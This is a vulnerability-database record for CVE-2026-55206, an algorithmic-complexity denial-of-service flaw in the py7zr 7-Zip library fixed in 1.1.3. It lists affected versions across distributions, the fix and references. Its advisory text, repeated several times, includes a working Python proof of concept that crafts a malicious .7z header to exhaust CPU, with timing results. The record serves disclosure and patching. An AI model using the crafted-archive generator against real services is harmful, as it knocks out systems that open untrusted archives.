{"id":"CVE-2026-55206","aliases":["DEBIAN-CVE-2026-55206","EUVD-2026-42397","GHSA-h4gh-22qq-72r7","PYSEC-2026-2973","UBUNTU-CVE-2026-55206","openSUSE-SU-2026:11112-1","openSUSE-SU-2026:21159-1"],"status":"published","title":"py7zr: O(n^2) algorithmic complexity DoS in PackInfo._read()","description":"py7zr is a Python-based library and utility to support 7zip archive compression, decompression, encryption and decryption. Prior to 1.1.3, PackInfo._read() in archiveinfo.py used an O(n^2) cumulative sum pattern for attacker-controlled numstreams values parsed from archive headers, allowing a crafted .7z archive to cause excessive CPU consumption during SevenZipFile.init() before extraction. This issue is fixed in version 1.1.3.","severity":{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.00266,"percentile":0.18951,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-407"],"published":"2026-06-19T21:16:33Z","modified":"2026-10-28T02:30:40Z","fixes":[{"ecosystem":"PyPI","package":"py7zr","fixed_in":["1.1.3"],"sources":["ghsa","osv"]},{"ecosystem":"Debian:14","package":"py7zr","fixed_in":["1.1.3+dfsg-1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"py7zr","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"1.1.2"},{"fixed":"1.1.3"}]}]},{"source":"osv","ecosystem":"Debian:12","package":"py7zr","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.11.3+dfsg-5","0.11.3+dfsg-6","0.11.3+dfsg-7","0.11.3+dfsg-8","0.21.0+dfsg-1","0.21.0+dfsg-2","0.21.1+dfsg-1","0.22.0+dfsg-1","1.0.0+dfsg1-1","1.0.0+dfsg1-2","1.0.0+dfsg1-3","1.0.0+dfsg1-3~bpo13+1","1.0.0+dfsg1-4","1.0.0+dfsg1-5","1.1.0+dfsg-1~exp1","1.1.2+dfsg-1","1.1.2+dfsg-1~exp1","1.1.2+dfsg-2","1.1.2+really1.1.0+dfsg-1","1.1.2-1+really1.1.0+dfsg-1","1.1.2-1+really1.1.0+dfsg-2","1.1.3+dfsg-1","1.1.3+dfsg-2","1.1.3+dfsg-3","1.1.3+dfsg-4","1.1.4+dfsg-1"]},{"source":"osv","ecosystem":"Debian:13","package":"py7zr","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.22.0+dfsg-1","1.0.0+dfsg1-1","1.0.0+dfsg1-2","1.0.0+dfsg1-3","1.0.0+dfsg1-3~bpo13+1","1.0.0+dfsg1-4","1.0.0+dfsg1-5","1.1.0+dfsg-1~exp1","1.1.2+dfsg-1","1.1.2+dfsg-1~exp1","1.1.2+dfsg-2","1.1.2+really1.1.0+dfsg-1","1.1.2-1+really1.1.0+dfsg-1","1.1.2-1+really1.1.0+dfsg-2","1.1.3+dfsg-1","1.1.3+dfsg-2","1.1.3+dfsg-3","1.1.3+dfsg-4","1.1.4+dfsg-1"]},{"source":"osv","ecosystem":"Debian:14","package":"py7zr","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.1.3+dfsg-1"}]}],"versions":["0.22.0+dfsg-1","1.0.0+dfsg1-1","1.0.0+dfsg1-2","1.0.0+dfsg1-3","1.0.0+dfsg1-3~bpo13+1","1.0.0+dfsg1-4","1.0.0+dfsg1-5","1.1.0+dfsg-1~exp1","1.1.2+dfsg-1","1.1.2+dfsg-1~exp1","1.1.2+dfsg-2","1.1.2+really1.1.0+dfsg-1","1.1.2-1+really1.1.0+dfsg-1","1.1.2-1+really1.1.0+dfsg-2"]},{"source":"osv","ecosystem":"PyPI","package":"py7zr","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.1.3"}]}],"versions":["0.0.3","0.0.4","0.0.5","0.0.6","0.0.7","0.0.8","0.1.0","0.1.1","0.1.2","0.1.3","0.1.4","0.1.5","0.1.6","0.10.0","0.10.0a1","0.10.0a2","0.10.0a3","0.10.0a4","0.10.0a5","0.10.0a6","0.10.0b1","0.10.0b3","0.10.1","0.10.2","0.11.0","0.11.0a1","0.11.0b1","0.11.0b2","0.11.0b3","0.11.1","0.11.2","0.11.3","0.12.0","0.13.0","0.13.1","0.14.0","0.14.1","0.15.0","0.15.1","0.15.2","0.16.0","0.16.1","0.16.2","0.16.3","0.16.4","0.17.0","0.17.1","0.17.2","0.17.3","0.17.4","0.18.0","0.18.1","0.18.10","0.18.11","0.18.12","0.18.3","0.18.4","0.18.5","0.18.6","0.18.7","0.18.9","0.19.0","0.19.1","0.19.2","0.2.0","0.20.0","0.20.1","0.20.2","0.20.4","0.20.5","0.20.6","0.20.7","0.20.8","0.21.0","0.21.1","0.22.0","0.3","0.3.1","0.3.2","0.3.3","0.3.4","0.3.5","0.4","0.4.1","0.4.3","0.4.4","0.4a1","0.4a2","0.4b1","0.5","0.5.2","0.5.3","0.5.4","0.5.5","0.5a3","0.5a4","0.5b1","0.5b2","0.5b3","0.5b4","0.5b5","0.5b6","0.5rc2","0.5rc3","0.6","0.6a1","0.6a2","0.6b1","0.6b2","0.6b3","0.6b4","0.6b5","0.6b6","0.6b7","0.6b8","0.6rc0","0.7.0","0.7.0b1","0.7.0b2","0.7.0b3","0.7.1","0.7.2","0.7.3","0.7.4","0.8.0","0.8.0a1","0.8.0a2","0.8.0a3","0.8.0b1","0.8.0b2","0.8.0b3","0.8.0b4","0.8.0b5","0.8.0b6","0.8.0b7","0.8.0b8","0.8.1","0.8.2","0.8.3","0.8.4","0.8.5","0.9.0","0.9.0a1","0.9.0a2","0.9.0b1","0.9.0b2","0.9.0b3","0.9.1","0.9.10","0.9.2","0.9.3","0.9.4","0.9.5","0.9.7","0.9.8","0.9.9","1.0.0","1.0.0rc1","1.0.0rc2","1.0.0rc3","1.1.0","1.1.0rc2","1.1.0rc4","1.1.2"]},{"source":"osv","ecosystem":"PyPI","package":"py7zr","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.1.3"}]}],"versions":["0.0.3","0.0.4","0.0.5","0.0.6","0.0.7","0.0.8","0.1.0","0.1.1","0.1.2","0.1.3","0.1.4","0.1.5","0.1.6","0.10.0","0.10.0a1","0.10.0a2","0.10.0a3","0.10.0a4","0.10.0a5","0.10.0a6","0.10.0b1","0.10.0b3","0.10.1","0.10.2","0.11.0","0.11.0a1","0.11.0b1","0.11.0b2","0.11.0b3","0.11.1","0.11.2","0.11.3","0.12.0","0.13.0","0.13.1","0.14.0","0.14.1","0.15.0","0.15.1","0.15.2","0.16.0","0.16.1","0.16.2","0.16.3","0.16.4","0.17.0","0.17.1","0.17.2","0.17.3","0.17.4","0.18.0","0.18.1","0.18.10","0.18.11","0.18.12","0.18.3","0.18.4","0.18.5","0.18.6","0.18.7","0.18.9","0.19.0","0.19.1","0.19.2","0.2.0","0.20.0","0.20.1","0.20.2","0.20.4","0.20.5","0.20.6","0.20.7","0.20.8","0.21.0","0.21.1","0.22.0","0.3","0.3.1","0.3.2","0.3.3","0.3.4","0.3.5","0.4","0.4.1","0.4.3","0.4.4","0.4a1","0.4a2","0.4b1","0.5","0.5.2","0.5.3","0.5.4","0.5.5","0.5a3","0.5a4","0.5b1","0.5b2","0.5b3","0.5b4","0.5b5","0.5b6","0.5rc2","0.5rc3","0.6","0.6a1","0.6a2","0.6b1","0.6b2","0.6b3","0.6b4","0.6b5","0.6b6","0.6b7","0.6b8","0.6rc0","0.7.0","0.7.0b1","0.7.0b2","0.7.0b3","0.7.1","0.7.2","0.7.3","0.7.4","0.8.0","0.8.0a1","0.8.0a2","0.8.0a3","0.8.0b1","0.8.0b2","0.8.0b3","0.8.0b4","0.8.0b5","0.8.0b6","0.8.0b7","0.8.0b8","0.8.1","0.8.2","0.8.3","0.8.4","0.8.5","0.9.0","0.9.0a1","0.9.0a2","0.9.0b1","0.9.0b2","0.9.0b3","0.9.1","0.9.10","0.9.2","0.9.3","0.9.4","0.9.5","0.9.7","0.9.8","0.9.9","1.0.0","1.0.0rc1","1.0.0rc2","1.0.0rc3","1.1.0","1.1.0rc2","1.1.0rc4","1.1.2"]},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"py7zr","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.11.3+dfsg-1","0.11.3+dfsg-1ubuntu1","0.11.3+dfsg-2","0.11.3+dfsg-3","0.11.3+dfsg-4","0.11.3+dfsg-4ubuntu0.1"]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"py7zr","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.11.3+dfsg-6","0.11.3+dfsg-7","0.11.3+dfsg-8","0.11.3+dfsg-8build1"]},{"source":"osv","ecosystem":"Ubuntu:25.10","package":"py7zr","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.22.0+dfsg-1","1.0.0+dfsg1-1"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"py7zr","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.1.2+dfsg-1","1.1.2-1+really1.1.0+dfsg-2","1.1.3+dfsg-1"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"py7zr","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.0.0+dfsg1-1","1.0.0+dfsg1-3","1.0.0+dfsg1-4","1.0.0+dfsg1-5","1.1.2+dfsg-1"]},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"python-py7zr","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.1.3-1.1"}]}],"bundled":3},{"source":"osv","ecosystem":"openSUSE:Leap 16.0","package":"python-py7zr","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.0.0-bp160.2.1"}]}],"bundled":3}],"products":[{"vendor":"miurahr","product":"py7zr"}],"references":[{"url":"https://github.com/miurahr/py7zr/security/advisories/GHSA-h4gh-22qq-72r7","tags":["x_refsource_CONFIRM","exploit","advisory","web","report"]},{"url":"https://github.com/miurahr/py7zr/commit/d7aa3a197d15c75a65b24f796d3a69f83806d3f8","tags":["x_refsource_MISC","fix","report"]},{"url":"https://github.com/miurahr/py7zr/releases/tag/v1.1.3","tags":["x_refsource_MISC","web","report"]},{"url":"https://github.com/advisories/GHSA-h4gh-22qq-72r7","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/55xxx/CVE-2026-55206.json","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55206","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-55206","tags":["advisory"]},{"url":"https://github.com/miurahr/py7zr","tags":["package"]},{"url":"https://pypi.org/project/py7zr","tags":["package"]},{"url":"https://ubuntu.com/security/CVE-2026-55206","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-55206","tags":["report"]},{"url":"","tags":["advisory"]},{"url":"https://www.suse.com/security/cve/CVE-2026-23879","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55195","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55206","tags":["web"]},{"url":"https://bugzilla.suse.com/1268665","tags":["report"]},{"url":"https://bugzilla.suse.com/1268666","tags":["report"]},{"url":"https://bugzilla.suse.com/1268669","tags":["report"]}],"sources":{"cve":[{"id":"CVE-2026-55206","title":"py7zr: O(n^2) algorithmic complexity DoS in PackInfo._read()","description":"py7zr is a Python-based library and utility to support 7zip archive compression, decompression, encryption and decryption. Prior to 1.1.3, PackInfo._read() in archiveinfo.py used an O(n^2) cumulative sum pattern for attacker-controlled numstreams values parsed from archive headers, allowing a crafted .7z archive to cause excessive CPU consumption during SevenZipFile.init() before extraction. This issue is fixed in version 1.1.3.","status":"published","published":"2026-07-08T20:32:09.905Z","modified":"2026-07-09T14:26:55.698Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high","assessor":"cna"}],"cwes":["CWE-407"],"updated_at":"2026-11-02T14:20:11.925815Z"}],"euvd":[{"id":"EUVD-2026-42397","description":"py7zr is a Python-based library and utility to support 7zip archive compression, decompression, encryption and decryption. Prior to 1.1.3, PackInfo._read() in archiveinfo.py used an O(n^2) cumulative sum pattern for attacker-controlled numstreams values parsed from archive headers, allowing a crafted .7z archive to cause excessive CPU consumption during SevenZipFile.init() before extraction. This issue is fixed in version 1.1.3.","status":"published","published":"2026-07-08T20:32:09Z","modified":"2026-07-09T14:26:55Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-02T18:20:04.126011Z"}],"ghsa":[{"id":"GHSA-h4gh-22qq-72r7","title":"py7zr: O(n^2) algorithmic complexity DoS in PackInfo._read()","description":"### Summary\n\nPackInfo._read() uses an O(n^2) cumulative sum pattern where\n  numstreams is read directly from the archive header. A crafted .7z\n  archive with a large numstreams value causes excessive CPU consumption\n   during SevenZipFile.__init__() — no extraction is needed. A 50 KB\n  archive takes ~7 seconds of CPU time.\n\n### Details\n\n  The vulnerable code is in PackInfo._read() (archiveinfo.py):\n\n  self.packpositions = [sum(self.packsizes[:i]) for i in\n  range(self.numstreams + 1)]\n\n  numstreams is parsed from the archive header via read_uint64() and is\n  attacker-controlled. Each sum(self.packsizes[:i]) re-sums from the\n  beginning, producing O(n^2) total work. This runs during header\n  parsing in SevenZipFile.__init__(), before any extraction.\n\n  Suggested fix — replace with O(n) cumulative sum:\n\n  from itertools import accumulate\n  self.packpositions = [0] + list(accumulate(self.packsizes))\n### PoC\n``` import struct, io, binascii, time\n  import py7zr\n  from py7zr.archiveinfo import write_uint64, PROPERTY\n\n  MAGIC = b'\\x37\\x7a\\xbc\\xaf\\x27\\x1c'\n\n  def encode_uint64(v):\n      buf = io.BytesIO()\n      write_uint64(buf, v)\n      return buf.getvalue()\n\n  def build_7z_with_streams(numstreams):\n      header = io.BytesIO()\n      header.write(PROPERTY.HEADER)\n      header.write(PROPERTY.MAIN_STREAMS_INFO)\n      header.write(PROPERTY.PACK_INFO)\n      header.write(encode_uint64(0))\n      header.write(encode_uint64(numstreams))\n      header.write(PROPERTY.SIZE)\n      for _ in range(numstreams):\n          header.write(encode_uint64(1))\n      header.write(PROPERTY.END)\n      header.write(PROPERTY.END)\n      header.write(PROPERTY.END)\n      header_data = header.getvalue()\n\n      out = io.BytesIO()\n      out.write(MAGIC)\n      out.write(b'\\x00\\x04')\n      next_crc = binascii.crc32(header_data) \u0026 0xFFFFFFFF\n      start_header = (struct.pack('\u003cQ', 0)\n                      + struct.pack('\u003cQ', len(header_data))\n                      + struct.pack('\u003cI', next_crc))\n      out.write(struct.pack('\u003cI', binascii.crc32(start_header) \u0026\n  0xFFFFFFFF))\n      out.write(start_header)\n      out.write(header_data)\n      return out.getvalue()\n\n  for n in [1000, 5000, 10000, 30000, 50000]:\n      archive = build_7z_with_streams(n)\n      start = time.time()\n      try:\n          with py7zr.SevenZipFile(io.BytesIO(archive), 'r') as z:\n              pass\n      except Exception:\n          # The crafted archive may later raise due to being malformed,\n          # but the quadratic work has already been performed during\n          # header parsing in SevenZipFile.__init__().\n          pass\n      elapsed = time.time() - start\n      print(f\"n={n:6d}  size={len(archive):8d} bytes\n  time={elapsed:.3f}s\")\n```\n  Tested on py7zr 1.1.0, Python 3.12.3, Linux x86_64.\n\n  Results:\n\n  n=  1000  size=    1042 bytes  time=0.004s\n  n=  5000  size=    5042 bytes  time=0.071s\n  n= 10000  size=   10042 bytes  time=0.291s\n  n= 30000  size=   30043 bytes  time=2.609s\n  n= 50000  size=   50043 bytes  time=7.097s\n### Impact\n\nDenial of Service. Any application that opens .7z archives from\n  untrusted sources using py7zr.SevenZipFile() can be caused to consume\n  excessive CPU time with a small crafted archive. The quadratic cost\n  occurs during header parsing, before any content extraction.","status":"published","published":"2026-06-19T21:16:33Z","modified":"2026-06-19T21:16:36Z","cvss":[{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"medium"}],"cwes":["CWE-407"],"updated_at":"2026-11-02T14:40:31.656952Z"}],"nvd":[{"id":"CVE-2026-55206","description":"py7zr is a Python-based library and utility to support 7zip archive compression, decompression, encryption and decryption. Prior to 1.1.3, PackInfo._read() in archiveinfo.py used an O(n^2) cumulative sum pattern for attacker-controlled numstreams values parsed from archive headers, allowing a crafted .7z archive to cause excessive CPU consumption during SevenZipFile.init() before extraction. This issue is fixed in version 1.1.3.","status":"published","published":"2026-07-08T21:16:49.987Z","modified":"2026-10-25T17:10:00.197Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high","assessor":"secondary"}],"cwes":["CWE-407"],"updated_at":"2026-11-02T14:12:28.4135Z"}],"osv":[{"id":"CVE-2026-55206","title":"py7zr: O(n^2) algorithmic complexity DoS in PackInfo._read()","description":"py7zr is a Python-based library and utility to support 7zip archive compression, decompression, encryption and decryption. Prior to 1.1.3, PackInfo._read() in archiveinfo.py used an O(n^2) cumulative sum pattern for attacker-controlled numstreams values parsed from archive headers, allowing a crafted .7z archive to cause excessive CPU consumption during SevenZipFile.init() before extraction. This issue is fixed in version 1.1.3.","status":"published","published":"2026-07-08T20:32:09.905Z","modified":"2026-10-28T02:30:40.82212325Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-407"],"updated_at":"2026-11-02T15:45:11.22012Z"},{"id":"DEBIAN-CVE-2026-55206","description":"py7zr is a Python-based library and utility to support 7zip archive compression, decompression, encryption and decryption. Prior to 1.1.3, PackInfo._read() in archiveinfo.py used an O(n^2) cumulative sum pattern for attacker-controlled numstreams values parsed from archive headers, allowing a crafted .7z archive to cause excessive CPU consumption during SevenZipFile.init() before extraction. This issue is fixed in version 1.1.3.","status":"published","published":"2026-07-08T21:16:49.987Z","modified":"2026-10-26T12:02:22.995272079Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high"}],"updated_at":"2026-11-02T15:45:57.236551Z"},{"id":"GHSA-h4gh-22qq-72r7","title":"py7zr: O(n^2) algorithmic complexity DoS in PackInfo._read()","description":"### Summary\n\nPackInfo._read() uses an O(n^2) cumulative sum pattern where\n  numstreams is read directly from the archive header. A crafted .7z\n  archive with a large numstreams value causes excessive CPU consumption\n   during SevenZipFile.__init__() — no extraction is needed. A 50 KB\n  archive takes ~7 seconds of CPU time.\n\n### Details\n\n  The vulnerable code is in PackInfo._read() (archiveinfo.py):\n\n  self.packpositions = [sum(self.packsizes[:i]) for i in\n  range(self.numstreams + 1)]\n\n  numstreams is parsed from the archive header via read_uint64() and is\n  attacker-controlled. Each sum(self.packsizes[:i]) re-sums from the\n  beginning, producing O(n^2) total work. This runs during header\n  parsing in SevenZipFile.__init__(), before any extraction.\n\n  Suggested fix — replace with O(n) cumulative sum:\n\n  from itertools import accumulate\n  self.packpositions = [0] + list(accumulate(self.packsizes))\n### PoC\n``` import struct, io, binascii, time\n  import py7zr\n  from py7zr.archiveinfo import write_uint64, PROPERTY\n\n  MAGIC = b'\\x37\\x7a\\xbc\\xaf\\x27\\x1c'\n\n  def encode_uint64(v):\n      buf = io.BytesIO()\n      write_uint64(buf, v)\n      return buf.getvalue()\n\n  def build_7z_with_streams(numstreams):\n      header = io.BytesIO()\n      header.write(PROPERTY.HEADER)\n      header.write(PROPERTY.MAIN_STREAMS_INFO)\n      header.write(PROPERTY.PACK_INFO)\n      header.write(encode_uint64(0))\n      header.write(encode_uint64(numstreams))\n      header.write(PROPERTY.SIZE)\n      for _ in range(numstreams):\n          header.write(encode_uint64(1))\n      header.write(PROPERTY.END)\n      header.write(PROPERTY.END)\n      header.write(PROPERTY.END)\n      header_data = header.getvalue()\n\n      out = io.BytesIO()\n      out.write(MAGIC)\n      out.write(b'\\x00\\x04')\n      next_crc = binascii.crc32(header_data) \u0026 0xFFFFFFFF\n      start_header = (struct.pack('\u003cQ', 0)\n                      + struct.pack('\u003cQ', len(header_data))\n                      + struct.pack('\u003cI', next_crc))\n      out.write(struct.pack('\u003cI', binascii.crc32(start_header) \u0026\n  0xFFFFFFFF))\n      out.write(start_header)\n      out.write(header_data)\n      return out.getvalue()\n\n  for n in [1000, 5000, 10000, 30000, 50000]:\n      archive = build_7z_with_streams(n)\n      start = time.time()\n      try:\n          with py7zr.SevenZipFile(io.BytesIO(archive), 'r') as z:\n              pass\n      except Exception:\n          # The crafted archive may later raise due to being malformed,\n          # but the quadratic work has already been performed during\n          # header parsing in SevenZipFile.__init__().\n          pass\n      elapsed = time.time() - start\n      print(f\"n={n:6d}  size={len(archive):8d} bytes\n  time={elapsed:.3f}s\")\n```\n  Tested on py7zr 1.1.0, Python 3.12.3, Linux x86_64.\n\n  Results:\n\n  n=  1000  size=    1042 bytes  time=0.004s\n  n=  5000  size=    5042 bytes  time=0.071s\n  n= 10000  size=   10042 bytes  time=0.291s\n  n= 30000  size=   30043 bytes  time=2.609s\n  n= 50000  size=   50043 bytes  time=7.097s\n### Impact\n\nDenial of Service. Any application that opens .7z archives from\n  untrusted sources using py7zr.SevenZipFile() can be caused to consume\n  excessive CPU time with a small crafted archive. The quadratic cost\n  occurs during header parsing, before any content extraction.","status":"published","published":"2026-06-19T21:16:33Z","modified":"2026-07-13T16:43:06.899048591Z","cvss":[{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"medium"}],"cwes":["CWE-407"],"updated_at":"2026-11-02T15:46:48.546324Z"},{"id":"PYSEC-2026-2973","title":"py7zr: O(n^2) algorithmic complexity DoS in PackInfo._read()","description":"### Summary\n\nPackInfo._read() uses an O(n^2) cumulative sum pattern where\n  numstreams is read directly from the archive header. A crafted .7z\n  archive with a large numstreams value causes excessive CPU consumption\n   during SevenZipFile.__init__() — no extraction is needed. A 50 KB\n  archive takes ~7 seconds of CPU time.\n\n### Details\n\n  The vulnerable code is in PackInfo._read() (archiveinfo.py):\n\n  self.packpositions = [sum(self.packsizes[:i]) for i in\n  range(self.numstreams + 1)]\n\n  numstreams is parsed from the archive header via read_uint64() and is\n  attacker-controlled. Each sum(self.packsizes[:i]) re-sums from the\n  beginning, producing O(n^2) total work. This runs during header\n  parsing in SevenZipFile.__init__(), before any extraction.\n\n  Suggested fix — replace with O(n) cumulative sum:\n\n  from itertools import accumulate\n  self.packpositions = [0] + list(accumulate(self.packsizes))\n### PoC\n``` import struct, io, binascii, time\n  import py7zr\n  from py7zr.archiveinfo import write_uint64, PROPERTY\n\n  MAGIC = b'\\x37\\x7a\\xbc\\xaf\\x27\\x1c'\n\n  def encode_uint64(v):\n      buf = io.BytesIO()\n      write_uint64(buf, v)\n      return buf.getvalue()\n\n  def build_7z_with_streams(numstreams):\n      header = io.BytesIO()\n      header.write(PROPERTY.HEADER)\n      header.write(PROPERTY.MAIN_STREAMS_INFO)\n      header.write(PROPERTY.PACK_INFO)\n      header.write(encode_uint64(0))\n      header.write(encode_uint64(numstreams))\n      header.write(PROPERTY.SIZE)\n      for _ in range(numstreams):\n          header.write(encode_uint64(1))\n      header.write(PROPERTY.END)\n      header.write(PROPERTY.END)\n      header.write(PROPERTY.END)\n      header_data = header.getvalue()\n\n      out = io.BytesIO()\n      out.write(MAGIC)\n      out.write(b'\\x00\\x04')\n      next_crc = binascii.crc32(header_data) \u0026 0xFFFFFFFF\n      start_header = (struct.pack('\u003cQ', 0)\n                      + struct.pack('\u003cQ', len(header_data))\n                      + struct.pack('\u003cI', next_crc))\n      out.write(struct.pack('\u003cI', binascii.crc32(start_header) \u0026\n  0xFFFFFFFF))\n      out.write(start_header)\n      out.write(header_data)\n      return out.getvalue()\n\n  for n in [1000, 5000, 10000, 30000, 50000]:\n      archive = build_7z_with_streams(n)\n      start = time.time()\n      try:\n          with py7zr.SevenZipFile(io.BytesIO(archive), 'r') as z:\n              pass\n      except Exception:\n          # The crafted archive may later raise due to being malformed,\n          # but the quadratic work has already been performed during\n          # header parsing in SevenZipFile.__init__().\n          pass\n      elapsed = time.time() - start\n      print(f\"n={n:6d}  size={len(archive):8d} bytes\n  time={elapsed:.3f}s\")\n```\n  Tested on py7zr 1.1.0, Python 3.12.3, Linux x86_64.\n\n  Results:\n\n  n=  1000  size=    1042 bytes  time=0.004s\n  n=  5000  size=    5042 bytes  time=0.071s\n  n= 10000  size=   10042 bytes  time=0.291s\n  n= 30000  size=   30043 bytes  time=2.609s\n  n= 50000  size=   50043 bytes  time=7.097s\n### Impact\n\nDenial of Service. Any application that opens .7z archives from\n  untrusted sources using py7zr.SevenZipFile() can be caused to consume\n  excessive CPU time with a small crafted archive. The quadratic cost\n  occurs during header parsing, before any content extraction.","status":"published","published":"2026-07-13T15:46:22.282856Z","modified":"2026-07-13T16:32:08.00514935Z","cvss":[{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"medium"}],"updated_at":"2026-11-02T15:52:56.429374Z"},{"id":"UBUNTU-CVE-2026-55206","description":"py7zr is a Python-based library and utility to support 7zip archive compression, decompression, encryption and decryption. Prior to 1.1.3, PackInfo._read() in archiveinfo.py used an O(n^2) cumulative sum pattern for attacker-controlled numstreams values parsed from archive headers, allowing a crafted .7z archive to cause excessive CPU consumption during SevenZipFile.init() before extraction. This issue is fixed in version 1.1.3.","status":"published","published":"2026-07-08T21:16:00Z","modified":"2026-10-17T13:00:27.032752922Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-02T16:56:41.382716Z"},{"id":"openSUSE-SU-2026:11112-1","title":"python311-py7zr-1.1.3-1.1 on GA media","description":"These are all security issues fixed in the python311-py7zr-1.1.3-1.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2026-06-23T00:00:00Z","modified":"2026-06-24T09:00:19.696616672Z","updated_at":"2026-11-02T16:58:38.95195Z"},{"id":"openSUSE-SU-2026:21159-1","title":"Security update for python-py7zr","description":"This update for python-py7zr fixes the following issues:\n\nChanges in python-py7zr:\n\n- CVE-2026-23879: crafted malicious symbolic link chains in an archive can\n  lead to an arbitrary file write (bsc#1268669)\n- CVE-2026-55195: unchecked extraction size can cause a denial of service (bsc#1268665)\n- CVE-2026-55206: crafted .7z archive with a large numstreams value can\n  cause a denial of service (bsc#1268666)\n","status":"published","published":"2026-06-25T15:31:46Z","modified":"2026-06-30T18:24:46.176906884Z","updated_at":"2026-11-02T16:58:41.885092Z"}]}}